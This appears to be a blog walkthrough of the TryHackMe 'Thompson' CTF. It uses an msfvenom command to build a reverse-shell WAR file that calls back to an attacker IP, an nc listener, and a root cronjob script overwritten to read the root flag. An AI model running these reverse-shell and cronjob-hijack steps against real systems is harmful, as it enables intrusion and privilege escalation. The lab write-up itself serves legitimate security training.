Try-hack-me
THOMPSON : Walkthrough
Description
Thompson is a boot2root CTF on TryHackMe. It has “Easy” difficulty. Initial access has been done through uploading a reverse shell. Privilege escalation to root could be done through a misconfigured cronjob.
Enumeration
After running a Nmap scan we can see that port 22, 8009 and 8080 is running. On port 8080 Tomcat 8.5.5 is running.
#nmap -sS -sV -A <target IP>
We are now in the app! Navigating around the app, we see that we have the ability to upload WAR files:
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker's IP> LPORT=4444 -f war > tthm.war
Post uploading the war file we created on the portal, let's activate the listener.
#nc -lnvp 4444
Next we can navigate to “http://<target IP>:8080/tthm/” and get a shell on the box as the tomcat user.
We can now navigate to /home/jack and get the user flag.
Privilege Escalation
Inside Jack’s home folder there are two interesting files. The first one is “id.sh”. It is a bash script that runs the id command and writes the outputs into “test.txt”. Reading “test.txt” shows us that this script was run by root.
Based on these information we can assume that a cronjob is running. To validate our assumption we can read the /etc/crontab file. And indeed the “id.sh” command is run as root inside a cronjob.
For the purpose of this CTF, we just want to read the flag, and so we can simply put a command to read the flag in that file. So if we just do that and then run it:
#echo '#!/bin/bash' > id.sh
#echo 'cat /root/root.txt > test.txt' >> id.sh
#cat test.txt
Comments
Post a Comment